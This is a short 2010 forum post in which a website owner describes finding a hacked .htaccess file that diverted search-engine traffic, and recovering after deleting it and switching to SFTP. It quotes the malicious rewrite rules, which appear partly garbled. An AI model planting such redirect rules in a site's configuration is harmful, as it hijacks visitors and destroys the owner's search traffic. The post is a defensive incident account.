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Nasty Website Hack Which Will Stop Search Engine Traffic to Your Website!

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default Nasty Website Hack Which Will Stop Search Engine Traffic to Your Website!

Post by Admin on Thu Sep 23, 2010 6:26 am

A while back I was trying to figure out why search engine traffic
dried up to one of my more profitable niche websites and couldn’t find
out why.
In the end I decided to rebuild the site on my PC using Wamp, and
wanted to make a few .htaccess changes while I was at it. On opening the
.htaccess file I found this:
RewriteEngine On
RewriteCond %{HTTP_REFERER}
m||||||||search.comcas…* [NC]
RewriteRule ^(.*) /501.html [NS,NC,L]
RewriteCond %{HTTP_USER_AGENT} ^.*(bot|urp|msn).* [NC]
RewriteRule ^(.*) $1 [NS,NC,L]
Redirect /501.html
Looks like my website had been hacked at the server level… The hacked
.htaccess file was sending search engine bots to the IP address in the
.htaccess file. Ultimately the search engines dropped the website and
search engine traffic dried up completely.
What makes this hack so anoying is I’ve moved the site a few times
because I thought it had something to do with the hosting. It never
dawned on me to check the .htaccess file, and I do know better – it’s
one of the reasons I don’t like using .htaccess affiliate redirects,
when the file gets hacked so do all the redirects.
Kaviraj “Kavi” Kodia of eHosting4U
suggested that the problem could have been a security issue with a
script installed on the website or a leak with the FTP software I was
using, and suggested using FTP software which supports SFTP.
So now I use FileZilla with SFTP – SFTP doesn’t seem to have made
much difference to the data transfer rate so it’s well worth using for
the added security.
By the way, once the the offending .htaccess code had been deleted,
my website started receiving traffic from Google within 24 hours – phew!

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